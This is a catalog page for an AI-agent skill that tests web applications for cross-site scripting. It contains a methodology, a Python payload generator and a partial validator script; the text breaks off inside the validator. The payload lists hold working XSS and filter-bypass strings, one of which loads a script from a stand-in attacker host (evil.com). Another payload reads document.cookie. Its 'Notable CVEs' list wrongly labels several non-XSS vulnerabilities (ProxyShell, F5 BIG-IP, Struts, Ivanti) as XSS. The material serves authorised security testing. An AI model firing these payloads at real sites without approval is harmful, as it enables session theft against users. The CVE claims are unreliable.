Back to skills
SkillHub ClubShip Full StackFull StackTesting

xss-testing

Validate Cross-Site Scripting (XSS) vulnerabilities including Reflected, Stored, and DOM-based XSS. Test by injecting script payloads into user-controlled inputs and observing if they execute in browser context. Use when testing CWE-79 (XSS), CWE-80 (Basic XSS), CWE-81 (Error Message XSS), CWE-83 (Attribute XSS), CWE-84 (URI Scheme XSS), CWE-85 (Doubled Character XSS), CWE-86 (Invalid Character XSS), CWE-87 (Alternate XSS Syntax), or related XSS findings.

Packaged view

This page reorganizes the original catalog entry around fit, installability, and workflow context first. The original raw source lives below.

Stars
257
Hot score
98
Updated
March 20, 2026
Overall rating
C3.7
Composite score
3.7
Best-practice grade
B73.6

Install command

npx @skill-hub/cli install anshumanbh-securevibes-xss-testing

Repository

anshumanbh/securevibes

Skill path: packages/core/securevibes/skills/dast/xss-testing

Validate Cross-Site Scripting (XSS) vulnerabilities including Reflected, Stored, and DOM-based XSS. Test by injecting script payloads into user-controlled inputs and observing if they execute in browser context. Use when testing CWE-79 (XSS), CWE-80 (Basic XSS), CWE-81 (Error Message XSS), CWE-83 (Attribute XSS), CWE-84 (URI Scheme XSS), CWE-85 (Doubled Character XSS), CWE-86 (Invalid Character XSS), CWE-87 (Alternate XSS Syntax), or related XSS findings.

Open repository

Best for

Primary workflow: Ship Full Stack.

Technical facets: Full Stack, Testing.

Target audience: everyone.

License: Unknown.

Original source

Catalog source: SkillHub Club.

Repository owner: anshumanbh.

This is still a mirrored public skill entry. Review the repository before installing into production workflows.

What it helps with

  • Install xss-testing into Claude Code, Codex CLI, Gemini CLI, or OpenCode workflows
  • Review https://github.com/anshumanbh/securevibes before adding xss-testing to shared team environments
  • Use xss-testing for development workflows

Works across

Claude CodeCodex CLIGemini CLIOpenCode

Favorites: 0.

Sub-skills: 0.

Aggregator: No.

Original source / Raw SKILL.md

---
name: xss-testing
description: Validate Cross-Site Scripting (XSS) vulnerabilities including Reflected, Stored, and DOM-based XSS. Test by injecting script payloads into user-controlled inputs and observing if they execute in browser context. Use when testing CWE-79 (XSS), CWE-80 (Basic XSS), CWE-81 (Error Message XSS), CWE-83 (Attribute XSS), CWE-84 (URI Scheme XSS), CWE-85 (Doubled Character XSS), CWE-86 (Invalid Character XSS), CWE-87 (Alternate XSS Syntax), or related XSS findings.
allowed-tools: Read, Write, Bash
---

# Cross-Site Scripting (XSS) Testing Skill

## Purpose
Validate XSS vulnerabilities by injecting script payloads into user-controlled inputs and observing:
- **Payload reflection** without encoding in HTTP responses
- **Script execution** indicators in response content
- **DOM manipulation** via client-side JavaScript
- **Stored payload retrieval** from backend storage
- **Context-specific injection** (HTML body, attributes, JavaScript, CSS, URLs)

## Vulnerability Types Covered

### 1. Reflected XSS / Non-Persistent XSS / Type 1 (CWE-79)
Payload is reflected directly from request to response without storage.

**Detection Methods:**
- Inject `<script>alert(1)</script>` in parameters, observe in response body
- Check if payload appears unencoded (`<script>` not converted to `&lt;script&gt;`)

**Example Attack:**
```
GET /search?q=<script>alert(1)</script>
Response: <p>Results for: <script>alert(1)</script></p>
```

### 2. Stored XSS / Persistent XSS / Type 2 (CWE-79)
Payload is stored server-side and served to other users.

**Detection Methods:**
- Submit payload via form/API, retrieve via separate request
- Check if payload persists and reflects to other users/sessions

**Example Attack:**
```
POST /comments {"body": "<script>alert(1)</script>"}
GET /comments → Response includes stored script
```

### 3. DOM-Based XSS / Type 0 (CWE-79)
Payload is injected via client-side JavaScript manipulating the DOM.

**Detection Methods:**
- Inject payload in URL fragment (`#<script>...`)
- Inject via `location.hash`, `document.URL`, `document.referrer`
- Look for dangerous sinks: `innerHTML`, `document.write`, `eval`

**Example Attack:**
```
GET /page#<img src=x onerror=alert(1)>
Client JS: document.getElementById('output').innerHTML = location.hash.slice(1);
```

### 4. Basic XSS (CWE-80)
Simple script tag injection in HTML body.

**Detection:** `<script>alert(1)</script>` reflected unencoded.

### 5. Error Message XSS (CWE-81)
XSS in application error pages/messages.

**Detection:** Inject payload that triggers error, check error page for reflection.

### 6. Attribute Context XSS (CWE-83)
Payload breaks out of HTML attribute context.

**Detection Methods:**
- `" onmouseover="alert(1)` — break double-quoted attribute
- `' onfocus='alert(1)` — break single-quoted attribute
- `" autofocus onfocus="alert(1)` — auto-triggering

**Example:**
```html
<input value="USER_INPUT" />
Payload: " onfocus="alert(1)" autofocus="
Result: <input value="" onfocus="alert(1)" autofocus="" />
```

### 7. URI Scheme XSS (CWE-84)
Injection via `javascript:` or `data:` URI schemes.

**Detection:** `javascript:alert(1)` in href/src attributes.

**Example:**
```html
<a href="USER_INPUT">Click</a>
Payload: javascript:alert(1)
Result: <a href="javascript:alert(1)">Click</a>
```

### 8. Doubled Character XSS (CWE-85)
Bypass filters using doubled/nested characters.

**Detection:** `<<script>script>alert(1)<</script>/script>` bypasses naive stripping.

### 9. Invalid Character XSS (CWE-86)
Injection using invalid/special Unicode characters.

**Detection:** Null bytes, UTF-7, charset confusion attacks.

### 10. Alternate XSS Syntax (CWE-87)
Non-standard XSS vectors that bypass filters.

**Detection Methods:**
- `<svg onload=alert(1)>`
- `<img src=x onerror=alert(1)>`
- `<body onload=alert(1)>`
- `<iframe src="javascript:alert(1)">`
- Template literals: `` `${alert(1)}` ``

## Context-Specific Notes

| Context | Encoding Required | Payload Examples |
|---------|-------------------|------------------|
| HTML Body | HTML entity encoding | `<script>alert(1)</script>` |
| HTML Attribute | Attribute encoding + quote escape | `" onmouseover="alert(1)` |
| JavaScript String | JavaScript string escaping | `';alert(1)//` or `</script><script>alert(1)` |
| JavaScript Template | Template literal escaping | `` ${alert(1)} `` |
| URL Parameter | URL encoding | `javascript:alert(1)` |
| CSS Value | CSS escaping | `expression(alert(1))` (legacy IE) |

## Prerequisites
- Target application running and reachable
- Identified injection points (URL params, form fields, headers, cookies)
- Browser or headless browser for DOM-based XSS validation
- VULNERABILITIES.json with suspected XSS findings if provided

## Testing Methodology

### Phase 1: Identify Injection Points
- URL query parameters
- POST body fields (form data, JSON)
- HTTP headers (User-Agent, Referer, X-Forwarded-For)
- Cookies
- Path segments
- File upload names/metadata

**Key Insight:** Any user input that appears in HTML output is a potential XSS vector.

### Phase 2: Determine Context
Analyze where input is reflected:
- **HTML body:** Between tags
- **HTML attribute:** Inside tag attributes
- **JavaScript:** Inside `<script>` blocks or event handlers
- **URL:** In `href`, `src`, `action` attributes
- **CSS:** In style attributes or `<style>` blocks

### Phase 3: Establish Baseline
- Send normal request; record response content
- Identify where user input appears in response
- Check existing encoding/sanitization

### Phase 4: Execute XSS Tests

**Reflected XSS (HTML Body):**
```python
payloads = [
    "<script>alert(1)</script>",
    "<img src=x onerror=alert(1)>",
    "<svg onload=alert(1)>",
]
for payload in payloads:
    resp = get(f"/search?q={quote(payload)}")
    if payload in resp.text:  # Unencoded reflection
        status = "VALIDATED"
```

**Attribute Context XSS:**
```python
payloads = [
    '" onmouseover="alert(1)',
    "' onfocus='alert(1)",
    '" autofocus onfocus="alert(1)',
]
for payload in payloads:
    resp = get(f"/profile?name={quote(payload)}")
    if 'onmouseover=' in resp.text or 'onfocus=' in resp.text:
        status = "VALIDATED"
```

**JavaScript Context XSS:**
```python
payloads = [
    "';alert(1)//",
    "</script><script>alert(1)</script>",
    "'-alert(1)-'",
]
for payload in payloads:
    resp = get(f"/page?callback={quote(payload)}")
    if "alert(1)" in resp.text and "<script>" in resp.text:
        status = "VALIDATED"
```

**URI Scheme XSS:**
```python
payloads = [
    "javascript:alert(1)",
    "data:text/html,<script>alert(1)</script>",
]
for payload in payloads:
    resp = get(f"/redirect?url={quote(payload)}")
    if f'href="{payload}"' in resp.text or f"href='{payload}'" in resp.text:
        status = "VALIDATED"
```

### Phase 5: Classification Logic

| Status | Meaning |
|--------|---------|
| **VALIDATED** | Payload reflected unencoded in executable context |
| **FALSE_POSITIVE** | Payload properly encoded/sanitized |
| **PARTIAL** | Partial reflection or unclear execution context |
| **UNVALIDATED** | Blocked, error, or insufficient evidence |

**Validation Criteria:**
- Payload appears in response WITHOUT HTML entity encoding
- Payload is in executable context (not inside comments, CDATA, etc.)
- Event handlers or script tags are intact

### Phase 6: Capture Evidence
Capture minimal structured evidence (redact PII/secrets, truncate to 8KB, hash full response):
- `status`, `injection_type`, `cwe`
- Request details (url, method, payload)
- Response snippet showing unencoded reflection
- Context (HTML body, attribute, JavaScript, etc.)

### Phase 7: Safety Rules
- Detection-only payloads; use `alert(1)` or DOM markers, not malicious code
- Do not inject payloads that persist and affect real users
- Clean up stored XSS test data after validation
- Redact any sensitive data in evidence
- Test in isolated/staging environments when possible

## Output Guidelines
- Keep responses concise (1-4 sentences)
- Include endpoint, payload, context, and impact

**Validated examples:**
```
Reflected XSS on /search - <script>alert(1)</script> reflected unencoded in HTML body (CWE-79). Session hijacking risk.
Attribute XSS on /profile - " onmouseover="alert(1) breaks out of value attribute (CWE-83). User interaction triggers payload.
DOM-based XSS on /page - location.hash injected via innerHTML sink (CWE-79). Client-side execution confirmed.
Stored XSS on /comments - payload persists and reflects to other users (CWE-79). Worm propagation possible.
```

**Unvalidated example:**
```
XSS test incomplete on /feedback - payload HTML-encoded as &lt;script&gt;. Evidence: path/to/evidence.json
```

## CWE Mapping

**Primary CWE (DAST-testable):**
- **CWE-79:** Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  - This is THE designated CWE for XSS vulnerabilities
  - Ranked **#1** in MITRE's 2025 CWE Top 25 Most Dangerous Software Weaknesses
  - Alternate terms: XSS, HTML Injection, Reflected/Stored/DOM-based XSS

**Child CWEs (specific variants under CWE-79):**
- **CWE-80:** Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
- **CWE-81:** Improper Neutralization of Script in an Error Message Web Page
- **CWE-83:** Improper Neutralization of Script in Attributes in a Web Page
- **CWE-84:** Improper Neutralization of Encoded URI Schemes in a Web Page
- **CWE-85:** Doubled Character XSS Manipulations
- **CWE-86:** Improper Neutralization of Invalid Characters in Identifiers in Web Pages
- **CWE-87:** Improper Neutralization of Alternate XSS Syntax

**Parent/Related CWEs (context):**
- **CWE-74:** Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') — parent class
- **CWE-20:** Improper Input Validation — related root cause
- **CWE-116:** Improper Encoding or Escaping of Output — related mitigation failure

**Related Attack Patterns:**
- **CAPEC-86:** XSS Through HTTP Headers
- **CAPEC-198:** XSS Targeting Error Pages
- **CAPEC-199:** XSS Using Alternate Syntax
- **CAPEC-209:** XSS Using MIME Type Mismatch
- **CAPEC-243:** XSS Targeting HTML Attributes
- **CAPEC-244:** XSS Targeting URI Placeholders
- **CAPEC-245:** XSS Using Doubled Characters
- **CAPEC-247:** XSS Using Invalid Characters
- **CAPEC-588:** DOM-Based XSS
- **CAPEC-591:** Reflected XSS
- **CAPEC-592:** Stored XSS

## Notable CVEs (examples)
- **CVE-2024-21887 (Ivanti Connect Secure):** Pre-auth XSS leading to RCE chain.
- **CVE-2023-29489 (cPanel):** Reflected XSS in web interface.
- **CVE-2022-1388 (F5 BIG-IP):** XSS contributing to auth bypass.
- **CVE-2021-34473 (Microsoft Exchange ProxyShell):** XSS in OWA component.
- **CVE-2020-11022 (jQuery):** XSS via HTML parsing in older jQuery versions.
- **CVE-2018-11776 (Apache Struts):** XSS via namespace handling.
- **CVE-2005-4712 (Samy Worm):** First major stored XSS worm on MySpace.

## Safety Reminders
- ONLY test against user-approved targets; stop if production protections trigger
- Do not inject payloads that could persist and affect real users without cleanup plan
- Use benign payloads (`alert(1)`, `console.log`) not malicious scripts
- Prefer parameterized output encoding and Content-Security-Policy in mitigations
- Test stored XSS in isolated accounts; clean up after testing

## Reference Implementations
- See `reference/xss_payloads.py` for XSS payloads by context
- See `reference/validate_xss.py` for XSS-focused validation flow
- See `examples.md` for concrete XSS scenarios and evidence formats

### Additional Resources
- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
- [OWASP DOM-Based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)
- [PortSwigger XSS](https://portswigger.net/web-security/cross-site-scripting)
- [HackTricks XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting)


---

## Referenced Files

> The following files are referenced in this skill and included for context.

### reference/xss_payloads.py

```python
"""
XSS payload generators for Cross-Site Scripting testing.

Payloads organized by injection context:
- HTML body
- HTML attributes
- JavaScript strings
- URI schemes (href, src)
- Filter bypass techniques
- DOM-based XSS

CWE Coverage: CWE-79, CWE-80, CWE-81, CWE-83, CWE-84, CWE-85, CWE-86, CWE-87
"""

from typing import Generator


def html_body_payloads() -> Generator[str, None, None]:
    """
    Payloads for HTML body context.
    CWE-79, CWE-80: Basic XSS in HTML content.
    """
    payloads = [
        # Basic script tags
        "<script>alert(1)</script>",
        "<script>alert(String.fromCharCode(88,83,83))</script>",
        "<script src=//evil.com/xss.js></script>",
        # Event handlers - img
        "<img src=x onerror=alert(1)>",
        "<img src=x onerror=alert(1)//>",
        '<img src="x" onerror="alert(1)">',
        # Event handlers - svg
        "<svg onload=alert(1)>",
        "<svg/onload=alert(1)>",
        "<svg onload=alert(1)//",
        # Event handlers - other tags
        "<body onload=alert(1)>",
        "<input onfocus=alert(1) autofocus>",
        "<marquee onstart=alert(1)>",
        "<video src=x onerror=alert(1)>",
        "<audio src=x onerror=alert(1)>",
        "<details open ontoggle=alert(1)>",
        "<iframe src=javascript:alert(1)>",
        "<object data=javascript:alert(1)>",
        "<embed src=javascript:alert(1)>",
        # Math and foreign elements
        "<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>",
        "<xss onmouseover=alert(1)>hover</xss>",
    ]
    yield from payloads


def attribute_payloads(quote_char: str = '"') -> Generator[str, None, None]:
    """
    Payloads for HTML attribute context breakout.
    CWE-83: XSS in Attributes.

    Args:
        quote_char: Quote character used in attributes ('"' or "'")
    """
    if quote_char == '"':
        payloads = [
            '" onmouseover="alert(1)',
            '" onfocus="alert(1)" autofocus="',
            '" onclick="alert(1)',
            '" onload="alert(1)',
            '"><script>alert(1)</script>',
            '"><img src=x onerror=alert(1)>',
            '" autofocus onfocus="alert(1)" x="',
            '"/><script>alert(1)</script>',
        ]
    else:
        payloads = [
            "' onmouseover='alert(1)",
            "' onfocus='alert(1)' autofocus='",
            "' onclick='alert(1)",
            "'><script>alert(1)</script>",
            "'><img src=x onerror=alert(1)>",
            "' autofocus onfocus='alert(1)' x='",
        ]
    yield from payloads


def javascript_payloads(quote_char: str = "'") -> Generator[str, None, None]:
    """
    Payloads for JavaScript string context.
    CWE-79: XSS via JavaScript injection.

    Args:
        quote_char: Quote character used in JS string ("'" or '"')
    """
    if quote_char == "'":
        payloads = [
            "';alert(1)//",
            "';alert(1);'",
            "'-alert(1)-'",
            "\\';alert(1)//",
            "</script><script>alert(1)</script>",
            "'+alert(1)+'",
            "';alert(String.fromCharCode(88,83,83))//",
        ]
    else:
        payloads = [
            '";alert(1)//',
            '";alert(1);"',
            '"-alert(1)-"',
            '";alert(1)//',
            "</script><script>alert(1)</script>",
            '"+alert(1)+"',
        ]
    # Template literal payloads
    template_payloads = [
        "${alert(1)}",
        "`${alert(1)}`",
        "${constructor.constructor('alert(1)')()}",
    ]
    yield from payloads
    yield from template_payloads


def uri_scheme_payloads() -> Generator[str, None, None]:
    """
    Payloads for URI context (href, src, action attributes).
    CWE-84: XSS via URI Schemes.
    """
    payloads = [
        "javascript:alert(1)",
        "javascript:alert(document.domain)",
        "javascript:alert(document.cookie)",
        "javascript:alert`1`",
        "javascript:alert(/XSS/)",
        "JaVaScRiPt:alert(1)",
        "  javascript:alert(1)",
        "javascript://comment%0aalert(1)",
        "data:text/html,<script>alert(1)</script>",
        "data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==",
        "data:text/html,<img src=x onerror=alert(1)>",
        "vbscript:alert(1)",  # Legacy IE
    ]
    yield from payloads


def filter_bypass_payloads() -> Generator[str, None, None]:
    """
    Payloads designed to bypass common XSS filters.
    CWE-85: Doubled Character XSS
    CWE-86: Invalid Character XSS
    CWE-87: Alternate XSS Syntax
    """
    payloads = [
        # Case variation
        "<ScRiPt>alert(1)</ScRiPt>",
        "<SCRIPT>alert(1)</SCRIPT>",
        "<ScRiPt>alert(1)</sCrIpT>",
        # Doubled/nested tags
        "<scr<script>ipt>alert(1)</script>",
        "<<script>script>alert(1)<</script>/script>",
        # Whitespace variations
        "<svg/onload=alert(1)>",
        "<svg\tonload=alert(1)>",
        "<svg\nonload=alert(1)>",
        "<svg\r\nonload=alert(1)>",
        "<img\tsrc=x\tonerror=alert(1)>",
        # Null bytes and special chars
        "<scr%00ipt>alert(1)</script>",
        "<img src=x onerror=\x00alert(1)>",
        # HTML encoding in event handlers
        "<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>",
        "<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>",
        # No quotes
        "<img src=x onerror=alert(1)>",
        "<svg onload=alert(1)>",
        # Unicode escapes
        "<img src=x onerror=\\u0061lert(1)>",
        # Expression without parentheses
        "<img src=x onerror=alert`1`>",
        "<svg onload=alert`1`>",
        # Constructor tricks
        "<img src=x onerror=constructor.constructor('alert(1)')()>",
        # Protocol obfuscation
        "<a href='&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)'>x</a>",
    ]
    yield from payloads


def dom_based_payloads() -> Generator[str, None, None]:
    """
    Payloads for DOM-based XSS testing.
    CWE-79: DOM-based XSS via client-side sinks.
    """
    payloads = [
        # URL fragment payloads
        "#<img src=x onerror=alert(1)>",
        "#<script>alert(1)</script>",
        "#<svg onload=alert(1)>",
        "#javascript:alert(1)",
        # URL parameter payloads
        "?default=<script>alert(1)</script>",
        "?q=<img src=x onerror=alert(1)>",
        "?callback=alert(1)",
        "?redirect=javascript:alert(1)",
        # Common DOM source payloads
        "<img src=x onerror=alert(1)>",
        "<svg/onload=alert(1)>",
        "'-alert(1)-'",
        '"-alert(1)-"',
    ]
    yield from payloads


def error_page_payloads() -> Generator[str, None, None]:
    """
    Payloads for XSS in error pages.
    CWE-81: XSS in Error Messages.
    """
    payloads = [
        # 404 page payloads
        "/<script>alert(1)</script>",
        "/<img src=x onerror=alert(1)>",
        "/nonexistent<script>alert(1)</script>",
        # Error parameter payloads
        "?error=<script>alert(1)</script>",
        "?msg=<img src=x onerror=alert(1)>",
        "?debug=<svg onload=alert(1)>",
    ]
    yield from payloads


def get_all_payloads() -> Generator[str, None, None]:
    """Yield all XSS payloads across all contexts."""
    yield from html_body_payloads()
    yield from attribute_payloads('"')
    yield from attribute_payloads("'")
    yield from javascript_payloads("'")
    yield from javascript_payloads('"')
    yield from uri_scheme_payloads()
    yield from filter_bypass_payloads()
    yield from dom_based_payloads()
    yield from error_page_payloads()


def get_payloads_by_cwe(cwe: str) -> Generator[str, None, None]:
    """
    Get payloads targeting a specific CWE.

    Args:
        cwe: CWE identifier (e.g., "CWE-79", "CWE-83")
    """
    cwe_map = {
        "CWE-79": list(html_body_payloads()) + list(dom_based_payloads()),
        "CWE-80": list(html_body_payloads()),
        "CWE-81": list(error_page_payloads()),
        "CWE-83": list(attribute_payloads('"')) + list(attribute_payloads("'")),
        "CWE-84": list(uri_scheme_payloads()),
        "CWE-85": [p for p in filter_bypass_payloads() if "<<" in p or "><" in p],
        "CWE-86": [p for p in filter_bypass_payloads() if "%00" in p or "\\x" in p],
        "CWE-87": list(filter_bypass_payloads()),
    }
    yield from cwe_map.get(cwe.upper(), [])


if __name__ == "__main__":
    print("=== XSS Payloads by Context ===\n")

    print("HTML Body Payloads:")
    for i, p in enumerate(html_body_payloads(), 1):
        print(f"  {i}. {p}")

    print("\nAttribute Payloads (double quote):")
    for i, p in enumerate(attribute_payloads('"'), 1):
        print(f"  {i}. {p}")

    print("\nURI Scheme Payloads:")
    for i, p in enumerate(uri_scheme_payloads(), 1):
        print(f"  {i}. {p}")

    print("\nFilter Bypass Payloads:")
    for i, p in enumerate(filter_bypass_payloads(), 1):
        print(f"  {i}. {p}")

```

### reference/validate_xss.py

```python
"""
XSS validation script for Cross-Site Scripting testing.

Validates XSS vulnerabilities by:
1. Sending payloads to target endpoints
2. Checking for unencoded reflection in responses
3. Detecting injection context (HTML body, attribute, JavaScript, etc.)
4. Classifying results (VALIDATED, FALSE_POSITIVE, PARTIAL, UNVALIDATED)

CWE Coverage: CWE-79, CWE-80, CWE-81, CWE-83, CWE-84, CWE-85, CWE-86, CWE-87
"""

import hashlib
import json
import re
from dataclasses import dataclass, field
from typing import Any, Optional
from urllib.parse import quote, urljoin

# Type hints for requests (not imported to avoid dependency)
# In actual use, import requests


@dataclass
class XSSTestResult:
    """Result of an XSS test."""

    status: str  # VALIDATED, FALSE_POSITIVE, PARTIAL, UNVALIDATED
    injection_type: str
    cwe: str
    context: str
    payload_used: str
    evidence: str
    test_details: dict = field(default_factory=dict)

    def to_dict(self) -> dict:
        return {
            "status": self.status,
            "injection_type": self.injection_type,
            "cwe": self.cwe,
            "context": self.context,
            "payload_used": self.payload_used,
            "evidence": self.evidence,
            "test": self.test_details,
        }


class XSSValidator:
    """Validates XSS vulnerabilities across different contexts."""

    # Patterns indicating successful XSS reflection
    XSS_INDICATORS = [
        r"<script[^>]*>",  # Script tags
        r"onerror\s*=",  # Event handlers
        r"onload\s*=",
        r"onclick\s*=",
        r"onmouseover\s*=",
        r"onfocus\s*=",
        r"onmouseenter\s*=",
        r"ontoggle\s*=",
        r"javascript:",  # URI schemes
        r"data:text/html",
        r"<svg[^>]*onload",  # SVG with handlers
        r"<img[^>]*onerror",  # IMG with handlers
    ]

    # Patterns indicating encoding (mitigation)
    ENCODED_PATTERNS = [
        ("&lt;", "<"),
        ("&gt;", ">"),
        ("&quot;", '"'),
        ("&#39;", "'"),
        ("&#x27;", "'"),
        ("&amp;", "&"),
        ("&#60;", "<"),
        ("&#62;", ">"),
    ]

    def __init__(self, base_url: str, timeout: int = 10, verify_ssl: bool = True):
        """
        Initialize XSS validator.

        Args:
            base_url: Base URL of target application
            timeout: Request timeout in seconds
            verify_ssl: Whether to verify SSL certificates
        """
        self.base_url = base_url.rstrip("/")
        self.timeout = timeout
        self.verify_ssl = verify_ssl
        self.session = None  # Set up requests session when needed

    def _make_request(
        self,
        method: str,
        endpoint: str,
        params: Optional[dict] = None,
        data: Optional[dict] = None,
        headers: Optional[dict] = None,
    ) -> tuple[int, str, dict]:
        """
        Make HTTP request and return status, body, headers.
        Placeholder - implement with actual HTTP client.
        """
        # In actual implementation, use requests library
        # import requests
        # response = requests.request(method, url, ...)
        raise NotImplementedError("Implement with HTTP client library")

    def _hash_response(self, content: str) -> str:
        """Generate SHA256 hash of response content."""
        return f"sha256:{hashlib.sha256(content.encode()).hexdigest()[:16]}"

    def _truncate_snippet(self, content: str, payload: str, max_len: int = 500) -> str:
        """Extract relevant snippet around payload reflection."""
        idx = content.find(payload)
        if idx == -1:
            # Try case-insensitive or partial match
            idx = content.lower().find(payload.lower()[:20])
        if idx == -1:
            return content[:max_len] + "..." if len(content) > max_len else content

        start = max(0, idx - 100)
        end = min(len(content), idx + len(payload) + 100)
        snippet = content[start:end]
        if start > 0:
            snippet = "..." + snippet
        if end < len(content):
            snippet = snippet + "..."
        return snippet

    def _detect_context(self, response: str, payload: str) -> str:
        """Detect the injection context based on response analysis."""
        idx = response.find(payload)
        if idx == -1:
            return "unknown"

        # Look at surrounding context
        before = response[max(0, idx - 100) : idx]
        after = response[idx + len(payload) : idx + len(payload) + 100]

        # Check for JavaScript context
        if re.search(r"<script[^>]*>", before, re.IGNORECASE):
            if "</script>" in after or not re.search(r"</script>", before, re.IGNORECASE):
                return "javascript"

        # Check for attribute context
        attr_pattern = r'(?:value|href|src|data-\w+|title|alt)\s*=\s*["\'][^"\']*$'
        if re.search(attr_pattern, before, re.IGNORECASE):
            return "html_attribute"

        # Check for URI context
        if re.search(r'(?:href|src|action)\s*=\s*["\']?$', before, re.IGNORECASE):
            return "uri"

        # Check for style context
        if re.search(r"<style[^>]*>", before, re.IGNORECASE) or re.search(
            r"style\s*=", before, re.IGNORECASE
        ):
            return "css"

        # Default to HTML body
        return "html_body"

    def _is_payload_encoded(self, response: str, payload: str) -> bool:
        """Check if payload appears to be HTML-encoded."""
        # Check if raw payload exists
        if payload in response:
            # Check if it's actually inside a comment or CDATA
            idx = response.find(payload)
            before = response[max(0, idx - 50) : idx]
            if "<!--" in before and "-->" not in before:
                return True  # In comment
            if "<![CDATA[" in before:
                return True  # In CDATA
            return False  # Unencoded

        # Check for common encodings
        for encoded, original in self.ENCODED_PATTERNS:
            if original in payload:
                encoded_payload = payload.replace(original, encoded)
                if encoded_payload in response:
                    return True

        return True  # Not found, assume blocked/encoded

    def _check_xss_indicators(self, response: str) -> list[str]:
        """Find XSS indicators in response."""
        found = []
        for pattern in self.XSS_INDICATORS:
            if re.search(pattern, response, re.IGNORECASE):
                found.append(pattern)
        return found

    def validate_reflected_xss(
        self,
        endpoint: str,
        param: str,
        payload: str,
        method: str = "GET",
    ) -> XSSTestResult:
        """
        Validate reflected XSS vulnerability.

        Args:
            endpoint: Target endpoint path
            param: Parameter name to inject
            payload: XSS payload to test
            method: HTTP method (GET or POST)

        Returns:
            XSSTestResult with validation status
        """
        url = urljoin(self.base_url, endpoint)

        try:
            if method.upper() == "GET":
                params = {param: payload}
                status_code, response_body, _ = self._make_request("GET", endpoint, params=params)
            else:
                data = {param: payload}
                status_code, response_body, _ = self._make_request("POST", endpoint, data=data)
        except Exception as e:
            return XSSTestResult(
                status="UNVALIDATED",
                injection_type="xss_reflected",
                cwe="CWE-79",
                context="unknown",
                payload_used=payload,
                evidence=f"Request failed: {str(e)}",
                test_details={"url": url, "error": str(e)},
            )

        # Check for WAF/blocking
        if status_code in (403, 406, 429):
            return XSSTestResult(
                status="UNVALIDATED",
                injection_type="xss_reflected",
                cwe="CWE-79",
                context="unknown",
                payload_used=payload,
                evidence=f"Blocked by WAF/security (HTTP {status_code})",
                test_details={"url": url, "status": status_code},
            )

        # Check if payload is reflected unencoded
        if not self._is_payload_encoded(response_body, payload):
            context = self._detect_context(response_body, payload)
            indicators = self._check_xss_indicators(response_body)

            return XSSTestResult(
                status="VALIDATED",
                injection_type="xss_reflected",
                cwe="CWE-79",
                context=context,
                payload_used=payload,
                evidence=f"Reflected XSS: payload unencoded in {context}",
                test_details={
                    "url": f"{url}?{param}={quote(payload)}",
                    "method": method,
                    "status": status_code,
                    "response_snippet": self._truncate_snippet(response_body, payload),
                    "response_hash": self._hash_response(response_body),
                    "indicators": indicators,
                },
            )
        else:
            return XSSTestResult(
                status="FALSE_POSITIVE",
                injection_type="xss_reflected",
                cwe="CWE-79",
                context="n/a",
                payload_used=payload,
                evidence="XSS mitigated: payload encoded or blocked",
                test_details={
                    "url": url,
                    "status": status_code,
                    "response_snippet": self._truncate_snippet(response_body, payload[:20]),
                },
            )

    def validate_stored_xss(
        self,
        submit_endpoint: str,
        submit_param: str,
        retrieve_endpoint: str,
        payload: str,
        submit_method: str = "POST",
    ) -> XSSTestResult:
        """
        Validate stored XSS vulnerability.

        Args:
            submit_endpoint: Endpoint to submit payload
            submit_param: Parameter name for payload
            retrieve_endpoint: Endpoint to retrieve stored content
            payload: XSS payload to test
            submit_method: HTTP method for submission

        Returns:
            XSSTestResult with validation status
        """
        submit_url = urljoin(self.base_url, submit_endpoint)
        retrieve_url = urljoin(self.base_url, retrieve_endpoint)

        try:
            # Submit payload
            data = {submit_param: payload}
            submit_status, _, _ = self._make_request(submit_method, submit_endpoint, data=data)

            # Retrieve and check
            _, retrieve_body, _ = self._make_request("GET", retrieve_endpoint)

        except Exception as e:
            return XSSTestResult(
                status="UNVALIDATED",
                injection_type="xss_stored",
                cwe="CWE-79",
                context="unknown",
                payload_used=payload,
                evidence=f"Request failed: {str(e)}",
                test_details={"error": str(e)},
            )

        if not self._is_payload_encoded(retrieve_body, payload):
            context = self._detect_context(retrieve_body, payload)

            return XSSTestResult(
                status="VALIDATED",
                injection_type="xss_stored",
                cwe="CWE-79",
                context=context,
                payload_used=payload,
                evidence=f"Stored XSS: payload persists unencoded in {context}",
                test_details={
                    "submit_url": submit_url,
                    "retrieve_url": retrieve_url,
                    "response_snippet": self._truncate_snippet(retrieve_body, payload),
                    "response_hash": self._hash_response(retrieve_body),
                },
            )
        else:
            return XSSTestResult(
                status="FALSE_POSITIVE",
                injection_type="xss_stored",
                cwe="CWE-79",
                context="n/a",
                payload_used=payload,
                evidence="Stored XSS mitigated: payload encoded or not stored",
                test_details={
                    "submit_url": submit_url,
                    "retrieve_url": retrieve_url,
                },
            )

    def validate_attribute_xss(
        self,
        endpoint: str,
        param: str,
        quote_char: str = '"',
    ) -> XSSTestResult:
        """
        Validate attribute-context XSS (CWE-83).

        Args:
            endpoint: Target endpoint
            param: Parameter reflected in attribute
            quote_char: Quote character used in attribute

        Returns:
            XSSTestResult with validation status
        """
        if quote_char == '"':
            payload = '" onfocus="alert(1)" autofocus="'
        else:
            payload = "' onfocus='alert(1)' autofocus='"

        result = self.validate_reflected_xss(endpoint, param, payload)

        if result.status == "VALIDATED":
            result.injection_type = "xss_attribute_breakout"
            result.cwe = "CWE-83"
            result.evidence = f"Attribute XSS: broke out of {quote_char}-quoted attribute"

        return result

    def validate_uri_xss(
        self,
        endpoint: str,
        param: str,
    ) -> XSSTestResult:
        """
        Validate URI scheme XSS (CWE-84).

        Args:
            endpoint: Target endpoint
            param: Parameter reflected in href/src

        Returns:
            XSSTestResult with validation status
        """
        payload = "javascript:alert(1)"
